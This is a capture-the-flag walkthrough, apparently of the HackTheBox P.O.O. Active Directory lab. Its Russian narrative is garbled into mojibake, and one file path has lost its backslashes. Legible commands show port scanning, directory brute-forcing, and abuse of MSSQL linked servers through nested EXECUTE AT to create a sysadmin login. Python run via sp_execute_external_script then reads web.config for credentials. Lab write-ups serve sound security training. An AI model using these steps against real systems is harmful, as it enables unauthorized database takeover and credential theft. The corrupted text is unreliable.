Π Π΄Π°Π½Π½ΠΎΠΉ ΡΡΠ°ΡΡΠ΅ ΡΠ°Π·Π±Π΅ΡΠ΅ΠΌ ΠΏΡΠΎΡ
ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ Π½Π΅ ΠΏΡΠΎΡΡΠΎ ΠΌΠ°ΡΠΈΠ½Ρ, Π° ΡΠ΅Π»ΠΎΠΉ ΠΌΠΈΠ½ΠΈ-Π»Π°Π±ΠΎΡΠ°ΡΠΎΡΠΈΠΈ Ρ ΠΏΠ»ΠΎΡΠ°Π΄ΠΊΠΈ
ΠΠ°ΠΊ ΡΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΎΠΏΠΈΡΠ°Π½ΠΈΠΈ, P.O.O. ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½ Π΄Π»Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ Π½Π°Π²ΡΠΊΠΎΠ² Π½Π° Π²ΡΠ΅Ρ ΡΡΠ°Π΄ΠΈΡΡ Π°ΡΠ°ΠΊ Π² Π½Π΅Π±ΠΎΠ»ΡΡΠΎΠΉ ΡΡΠ΅Π΄Π΅ Active Directory. Π¦Π΅Π»Ρ ΡΠΎΡΡΠΎΠΈΡ Π² ΡΠΎΠΌ, ΡΡΠΎΠ±Ρ ΡΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠΎΠ²Π°ΡΡ Π΄ΠΎΡΡΡΠΏΠ½ΡΠΉ Ρ ΠΎΡΡ, ΠΏΠΎΠ²ΡΡΠΈΡΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ ΠΈ, Π² ΠΊΠΎΠ½Π΅ΡΠ½ΠΎΠΌ ΠΈΡΠΎΠ³Π΅, ΡΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠΎΠ²Π°ΡΡ Π²Π΅ΡΡ Π΄ΠΎΠΌΠ΅Π½, ΡΠΎΠ±ΡΠ°Π² ΠΏΡΠΈ ΡΡΠΎΠΌ 5 ΡΠ»Π°Π³ΠΎΠ².
ΠΠΎΠ΄ΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΠΊ Π»Π°Π±ΠΎΡΠ°ΡΠΎΡΠΈΠΈ ΠΎΡΡΡΠ΅ΡΡΠ²Π»ΡΠ΅ΡΡΡ ΡΠ΅ΡΠ΅Π· VPN. Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΠ΅ΡΡΡ Π½Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ°ΡΡΡΡ Ρ ΡΠ°Π±ΠΎΡΠ΅Π³ΠΎ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ° ΠΈΠ»ΠΈ Ρ Ρ ΠΎΡΡΠ°, Π³Π΄Π΅ ΠΈΠΌΠ΅ΡΡΡΡ Π²Π°ΠΆΠ½ΡΠ΅ Π΄Π»Ρ Π²Π°Ρ Π΄Π°Π½Π½ΡΠ΅, ΡΠ°ΠΊ ΠΊΠ°ΠΊ ΠΡ ΠΏΠΎΠΏΠ°Π΄Π°Π΅ΡΠ΅ Π² ΡΠ°ΡΡΠ½ΡΡ ΡΠ΅ΡΡ Ρ Π»ΡΠ΄ΡΠΌΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ ΡΡΠΎ-ΡΠΎ Π΄Π° ΡΠΌΠ΅ΡΡ Π² ΠΎΠ±Π»Π°ΡΡΠΈ ΠΠ π
ΠΡΠ³Π°Π½ΠΈΠ·Π°ΡΠΈΠΎΠ½Π½Π°Ρ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ
Π§ΡΠΎΠ±Ρ Π²Ρ ΠΌΠΎΠ³Π»ΠΈ ΡΠ·Π½Π°Π²Π°ΡΡ ΠΎ Π½ΠΎΠ²ΡΡ
ΡΡΠ°ΡΡΡΡ
, ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΠΎΠΌ ΠΎΠ±Π΅ΡΠΏΠ΅ΡΠ΅Π½ΠΈΠΈ ΠΈ Π΄ΡΡΠ³ΠΎΠΉ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ, Ρ ΡΠΎΠ·Π΄Π°Π»
ΠΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»Π΅Π½Π° ΠΈΡΠΊΠ»ΡΡΠΈΡΠ΅Π»ΡΠ½ΠΎ Π² ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΡ
ΡΠ΅Π»ΡΡ
. ΠΠ²ΡΠΎΡ ΡΡΠΎΠ³ΠΎ Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ° Π½Π΅ Π½Π΅ΡΡΡ Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ ΠΎΡΠ²Π΅ΡΡΡΠ²Π΅Π½Π½ΠΎΡΡΠΈ Π·Π° Π»ΡΠ±ΠΎΠΉ ΡΡΠ΅ΡΠ±, ΠΏΡΠΈΡΠΈΠ½Π΅Π½Π½ΡΠΉ ΠΊΠΎΠΌΡ-Π»ΠΈΠ±ΠΎ Π² ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ Π·Π½Π°Π½ΠΈΠΉ ΠΈ ΠΌΠ΅ΡΠΎΠ΄ΠΎΠ², ΠΏΠΎΠ»ΡΡΠ΅Π½Π½ΡΡ
Π² ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΠ΅ ΠΈΠ·ΡΡΠ΅Π½ΠΈΡ Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°.
Intro
ΠΠ°Π½Π½ΡΠΉ endgame ΡΠΎΡΡΠΎΠΈΡ ΠΈΠ· Π΄Π²ΡΡ ΠΌΠ°ΡΠΈΠ½, ΠΈ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ 5 ΡΠ»Π°Π³ΠΎΠ².
Π’Π°ΠΊ ΠΆΠ΅ Π΄Π°Π΅ΡΡΡ ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΠΈ Π°Π΄ΡΠ΅Ρ Π΄ΠΎΡΡΡΠΏΠ½ΠΎΠ³ΠΎ Ρ
ΠΎΡΡΠ°.
ΠΠ°ΡΠ½Π΅ΠΌ!
Recon flag
ΠΠ°Π½Π½Π°Ρ ΠΌΠ°ΡΠΈΠ½Π° ΠΈΠΌΠ΅Π΅Ρ IP Π°Π΄ΡΠ΅Ρ 10.13.38.11, ΠΊΠΎΡΠΎΡΡΠΉ Ρ Π΄ΠΎΠ±Π°Π²Π»ΡΡ Π² /etc/hosts.
10.13.38.11 poo.htb
ΠΠ΅ΡΠ²ΡΠΌ Π΄Π΅Π»ΠΎΠΌ ΡΠΊΠ°Π½ΠΈΡΡΠ΅ΠΌ ΠΎΡΠΊΡΡΡΡΠ΅ ΠΏΠΎΡΡΡ. Π’Π°ΠΊ ΠΊΠ°ΠΊ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°ΡΡ Π²ΡΠ΅ ΠΏΠΎΡΡΡ nmapβΠΎΠΌ Π΄ΠΎΠ»Π³ΠΎ, ΡΠΎ Ρ ΡΠ½Π°ΡΠ°Π»Π° ΡΠ΄Π΅Π»Π°Ρ ΡΡΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΡ masscan. ΠΡ ΡΠΊΠ°Π½ΠΈΡΡΠ΅ΠΌ Π²ΡΠ΅ TCP ΠΈ UDP ΠΏΠΎΡΡΡ Ρ ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡΠ° tun0 ΡΠΎ ΡΠΊΠΎΡΠΎΡΡΡΡ 500 ΠΏΠ°ΠΊΠ΅ΡΠΎΠ² Π² ΡΠ΅ΠΊΡΠ½Π΄Ρ.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Π’Π΅ΠΏΠ΅ΡΡ Π΄Π»Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΎ ΡΠ΅ΡΠ²ΠΈΡΠ°Ρ
, ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ°Π±ΠΎΡΠ°ΡΡ Π½Π° ΠΏΠΎΡΡΠ°Ρ
, Π·Π°ΠΏΡΡΡΠΈΠΌ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ Ρ ΠΎΠΏΡΠΈΠ΅ΠΉ -Π.
nmap -A poo.htb -p80,1433
Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΠΌΡ ΠΈΠΌΠ΅Π΅ΠΌ ΡΠ»ΡΠΆΠ±Ρ IIS ΠΈ MSSQL. ΠΡΠΈ ΡΡΠΎΠΌ ΠΌΡ ΡΠ·Π½Π°Π΅ΠΌ ΡΠ΅Π°Π»ΡΠ½ΠΎΠ΅ DNS ΠΈΠΌΡ Π΄ΠΎΠΌΠ΅Π½Π° ΠΈ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ°. ΠΠ° Π²Π΅Π± ΡΠ΅ΡΠ²Π΅ΡΠ΅ Π½Π°Ρ Π²ΡΡΡΠ΅ΡΠ°Π΅Ρ Π΄ΠΎΠΌΠ°ΡΠ½ΡΡ ΡΡΡΠ°Π½ΠΈΡΠ° IIS.
ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠ΅ΡΠ΅Π±Π΅ΡΠ΅ΠΌ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΈ. Π― Π΄Π»Ρ ΡΡΠΎΠ³ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ gobuster. Π ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ°Ρ
ΡΠΊΠ°Π·ΡΠ²Π°Π΅ΠΌ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΏΠΎΡΠΎΠΊΠΎΠ² 128 (-t), URL (-u), ΡΠ»ΠΎΠ²Π°ΡΡ (-w) ΠΈ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΡ, ΠΊΠΎΡΠΎΡΡΠ΅ Π½Π°Ρ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΡΡΡ (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ ΠΌΡ ΠΈΠΌΠ΅Π΅ΠΌ HTTP Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π΄Π»Ρ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΈ /admin, Π° ΡΠ°ΠΊΠΆΠ΅ Π΄ΠΎΡΡΡΠΏΠ½ΡΠΉ ΡΠ°ΠΉΠ» Ρ
ΡΠ°Π½ΠΈΠ»ΠΈΡΠ° ΡΠ»ΡΠΆΠ±Ρ ΡΠ°Π±ΠΎΡΠ΅Π³ΠΎ ΡΡΠΎΠ»Π° .DS_Store. .DS_Store β ΡΡΠΎ ΡΠ°ΠΉΠ»Ρ, Π² ΠΊΠΎΡΠΎΡΡΡ
Ρ
ΡΠ°Π½ΡΡΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΡΡΠΊΠΈΠ΅ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ Π΄Π»Ρ ΠΏΠ°ΠΏΠΊΠΈ, ΡΠ°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΡΠΏΠΈΡΠΎΠΊ ΡΠ°ΠΉΠ»ΠΎΠ², ΡΠ°ΡΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π·Π½Π°ΡΠΊΠΎΠ², Π²ΡΠ±ΡΠ°Π½Π½ΠΎΠ΅ ΡΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅. Π’Π°ΠΊΠΎΠΉ ΡΠ°ΠΉΠ» ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠΏΠ°Π΄Π°ΡΡ Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅ΡΠ° Ρ Π²Π΅Π± ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΎΠ². Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΠΌΡ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠΌ ΠΊΠ°ΡΠ°Π»ΠΎΠ³. ΠΠ»Ρ ΡΡΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ
python3 dsstore_crawler.py -i http://poo.htb/
ΠΡ ΠΏΠΎΠ»ΡΡΠ°Π΅ΠΌ ΡΠΎΠ΄Π΅ΡΠΆΠΈΠΌΠΎΠ΅ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π°. Π‘Π°ΠΌΠΎΠ΅ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎΠ΅ Π·Π΄Π΅ΡΡ β ΡΡΠΎ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ /dev, ΠΈΠ· ΠΊΠΎΡΠΎΡΠΎΠ³ΠΎ ΠΌΡ Π² Π΄Π²ΡΡ
Π²Π΅ΡΠΊΠ°Ρ
ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΡΠΌΠΎΡΡΠ΅ΡΡ ΠΈΡΡ
ΠΎΠ΄Π½ΠΈΠΊΠΈ ΠΈ ΡΠ°ΠΉΠ»Ρ db. ΠΠΎ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠ΅ΡΠ²ΡΠ΅ 6 ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² ΠΈΠΌΠ΅Π½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ² ΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΉ, Π΅ΡΠ»ΠΈ ΡΠ΅ΡΠ²ΠΈΡ ΡΡΠ·Π²ΠΈΠΌ ΠΊ IIS ShortName. ΠΡΠΎΠ²Π΅ΡΠΈΡΡ Π½Π°Π»ΠΈΡΠΈΠ΅ Π΄Π°Π½Π½ΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΠΌΠΎΠΆΠ½ΠΎ Ρ ΠΏΠΎΠΌΠΎΡΡΡ
Π Π½Π° Ρ
ΠΎΠ΄ΠΈΠΌ ΠΎΠ΄ΠΈΠ½ ΡΠ΅ΠΊΡΡΠΎΠ²ΡΠΉ ΡΠ°ΠΉΠ», ΠΊΠΎΡΠΎΡΡΠΉ Π½Π°ΡΠΈΠ½Π°Π΅ΡΡΡ Ρ Β«poo_coΒ». ΠΠ΅ Π·Π½Π°Ρ ΡΡΠΎ Π΄Π΅Π»Π°ΡΡ Π΄Π°Π»ΡΡΠ΅, Ρ ΠΏΡΠΎΡΡΠΎ Π²ΡΠ±ΡΠ°Π» ΠΈΠ· ΡΠ»ΠΎΠ²Π°ΡΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΉ Π²ΡΠ΅ ΡΠ»ΠΎΠ²Π°, Π½Π°ΡΠΈΠ½Π°ΡΡΠΈΠ΅ΡΡ Π½Π° Β«coΒ».
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Π ΠΏΠ΅ΡΠ΅Π±Π΅ΡΠ΅ΠΌ Ρ ΠΏΠΎΠΌΠΎΡΡΡ wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Π Π½Π°Ρ
ΠΎΠ΄ΠΈΠΌ ΠΏΠΎΠ΄Ρ
ΠΎΠ΄ΡΡΠ΅Π΅ ΡΠ»ΠΎΠ²ΠΎ! Π‘ΠΌΠΎΡΡΠΈΠΌ Π΄Π°Π½Π½ΡΠΉ ΡΠ°ΠΉΠ», ΡΠΎΡ
ΡΠ°Π½ΡΠ΅ΠΌ ΡΡΠ΅ΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ (ΡΡΠ΄Ρ ΠΏΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ DBNAME, ΠΎΠ½ΠΈ ΠΎΡ MSSQL).
Π‘Π΄Π°Π΅ΠΌ ΡΠ»Π°Π³, ΠΈ ΠΌΡ ΠΏΡΠΎΠ΄Π²ΠΈΠ³Π°Π΅ΠΌΡΡ Π½Π° 20%.
Huh flag
ΠΠΎΠ΄ΠΊΠ»ΡΡΠ°Π΅ΠΌΡΡ ΠΊ MSSQL, Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ DBeaver.
ΠΠΈΡΠ΅Π³ΠΎ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎΠ³ΠΎ Π² Π΄Π°Π½Π½ΠΎΠΉ Π±Π°Π·Π΅ Π½Π΅ Π½Π°Ρ
ΠΎΠ΄ΠΈΠΌ, Π΄Π°Π²Π°ΠΉΡΠ΅ ΡΠΎΠ·Π΄Π°Π΄ΠΈΠΌ Π Π΅Π΄Π°ΠΊΡΠΎΡ SQL ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ Π΅ΡΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΠΈ.
SELECT name FROM master..syslogins;
Π£ Π½Π°Ρ Π΄Π²Π° ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ. ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ ΡΠ²ΠΎΠΈ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ Π½ΠΈΠΊΠ°ΠΊΠΈΡ
Π½Π΅Ρ. ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΡΠΌΠΎΡΡΠΈΠΌ ΡΠ²ΡΠ·Π°Π½Π½ΡΠ΅ ΡΠ΅ΡΠ²Π΅ΡΡ, ΠΏΡΠΎ Π΄Π°Π½Π½ΡΡ ΠΌΠ΅ΡΠΎΠ΄ΠΈΠΊΡ Ρ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎ ΠΏΠΈΡΠ°Π»
SELECT * FROM master..sysservers;
Π’Π°ΠΊ ΠΌΡ Π½Π°Ρ
ΠΎΠ΄ΠΈΠΌ Π΅ΡΠ΅ ΠΎΠ΄ΠΈΠ½ SQL Server. ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ Π½Π° ΡΡΠΎΠΌ ΡΠ΅ΡΠ²Π΅ΡΠ΅ Ρ ΠΏΠΎΠΌΠΎΡΡΡ openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Π ΠΌΡ Π΄Π°ΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ Π²ΡΡΡΡΠ°ΠΈΠ²Π°ΡΡ Π΄Π΅ΡΠ΅Π²ΠΎ Π·Π°ΠΏΡΠΎΡΠΎΠ².
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
ΠΠ΅Π»ΠΎ Π² ΡΠΎΠΌ, ΡΡΠΎ ΠΊΠΎΠ³Π΄Π° ΠΌΡ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌ Π·Π°ΠΏΡΠΎΡ Π½Π° ΡΠ²ΡΠ·Π°Π½Π½ΡΠΉ ΡΠ΅ΡΠ²Π΅Ρ, ΡΠΎ Π·Π°ΠΏΡΠΎΡ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΡΡΡ Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅ Π΄ΡΡΠ³ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ! ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΠΎΡΠΌΠΎΡΡΠΈΠΌ, Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅ ΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΠΌΡ ΡΠ°Π±ΠΎΡΠ°Π΅ΠΌ Π½Π° ΡΠ²ΡΠ·Π°Π½Π½ΠΎΠΌ ΡΠ΅ΡΠ²Π΅ΡΠ΅.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Π ΡΠ΅ΠΏΠ΅ΡΡ ΠΏΠΎΡΠΌΠΎΡΡΠΈΠΌ Π² ΠΊΠ°ΠΊΠΎΠΌ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅ Π²ΡΠΏΠΎΠ»Π½ΡΡΡΡΡ Π·Π°ΠΏΡΠΎΡ ΡΠΎ ΡΠ²ΡΠ·Π°Π½Π½ΠΎΠ³ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠ° Π½Π° Π½Π°Ρ!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΡΡΠΎ ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡ DBO, ΠΊΠΎΡΠΎΡΡΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Π»Π°Π΄Π°ΡΡ Π²ΡΠ΅ΠΌΠΈ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΌΠΈ. ΠΠ°Π²Π°ΠΉΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ Π² ΡΠ»ΡΡΠ°Π΅ Π·Π°ΠΏΡΠΎΡΠ° ΡΠΎ ΡΠ²ΡΠ·Π°Π½Π½ΠΎΠ³ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠ°.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
ΠΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΌΠ΅ΡΠΈΡΡ, Ρ Π½Π°Ρ Π΅ΡΡΡ Π²ΡΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ! ΠΠ°Π²Π°ΠΉΡΠ΅ ΡΠ°ΠΊ ΡΠΎΠ·Π΄Π°Π΄ΠΈΠΌ ΡΠ²ΠΎΠ΅Π³ΠΎ Π°Π΄ΠΌΠΈΠ½Π°. ΠΠΎ ΡΠ΅ΡΠ΅Π· openquery Π½Π΅ ΠΏΡΡΠΊΠ°ΡΡ, Π΄Π°Π²Π°ΠΉΡΠ΅ ΡΠ΄Π΅Π»Π°Π΅ΠΌ ΡΡΠΎ ΡΠ΅ΡΠ΅Π· EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Π ΡΠ΅ΠΏΠ΅ΡΡ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ°Π΅ΠΌΡΡ Ρ ΡΡΠ΅ΡΠ½ΡΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ, Π½Π°Π±Π»ΡΠ΄Π°Π΅ΠΌ Π½ΠΎΠ²ΡΡ Π±Π°Π·Ρ Π΄Π°Π½Π½ΡΡ flag.
Π‘Π΄Π°Π΅ΠΌ ΡΡΠΎΡ ΡΠ»Π°Π³ ΠΈ ΠΈΠ΄Π΅ΠΌ Π΄Π°Π»Π΅Π΅.
BackTrack flag
ΠΠΎΠ»ΡΡΠΈΠΌ ΡΠ΅Π»Π» Ρ ΠΏΠΎΠΌΠΎΡΡΡ MSSQL, Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ mssqlclient ΠΈΠ· ΠΏΠ°ΠΊΠ΅ΡΠ° impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
ΠΠ°ΠΌ Π½ΡΠΆΠ½ΠΎ ΡΠ°Π·Π΄ΠΎΠ±ΡΡΡ ΠΏΠ°ΡΠΎΠ»ΠΈ, ΠΈ ΠΏΠ΅ΡΠ²ΠΎΠ΅, ΡΡΠΎ ΠΌΡ ΡΠΆΠ΅ Π²ΡΡΡΠ΅ΡΠ°Π»ΠΈ, β ΡΡΠΎ ΡΠ°ΠΉΡ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ Π½Π°ΠΌ Π½ΡΠΆΠ΅Π½ ΠΊΠΎΠ½ΡΠΈΠ³ Π²Π΅Π± ΡΠ΅ΡΠ²Π΅ΡΠ° (Π±ΡΠΎΡΠΈΡΡ ΡΠ΄ΠΎΠ±Π½ΡΠΉ ΡΠ΅Π»Π» Π½Π΅ ΠΏΠΎΠ»ΡΡΠ°Π΅ΡΡΡ, Π²ΠΈΠ΄ΠΈΠΌΠΎ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ firewall).
ΠΠΎ Π΄ΠΎΡΡΡΠΏ Π·Π°ΠΏΡΠ΅ΡΠ΅Π½. Π₯ΠΎΡΡ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠΎΡΠΈΡΠ°ΡΡ ΡΠ°ΠΉΠ» ΠΈΠ· MSSQL, Π½ΡΠΆΠ½ΠΎ Π»ΠΈΡΡ Π·Π½Π°ΡΡ ΠΊΠ°ΠΊΠΈΠ΅ ΡΠ·ΡΠΊΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π½Π°ΡΡΡΠΎΠ΅Π½Ρ. Π Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΈ MSSQL ΡΠ·Π½Π°Π΅ΠΌ, ΡΡΠΎ Π΅ΡΡΡ Python.
Π’ΠΎΠ³Π΄Π° ΠΏΡΠΎΡΠΈΡΠ°ΡΡ ΡΠ°ΠΉΠ» web.config Π½Π΅Ρ Π½ΠΈΠΊΠ°ΠΊΠΈΡ
ΠΏΡΠΎΠ±Π»Π΅ΠΌ.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
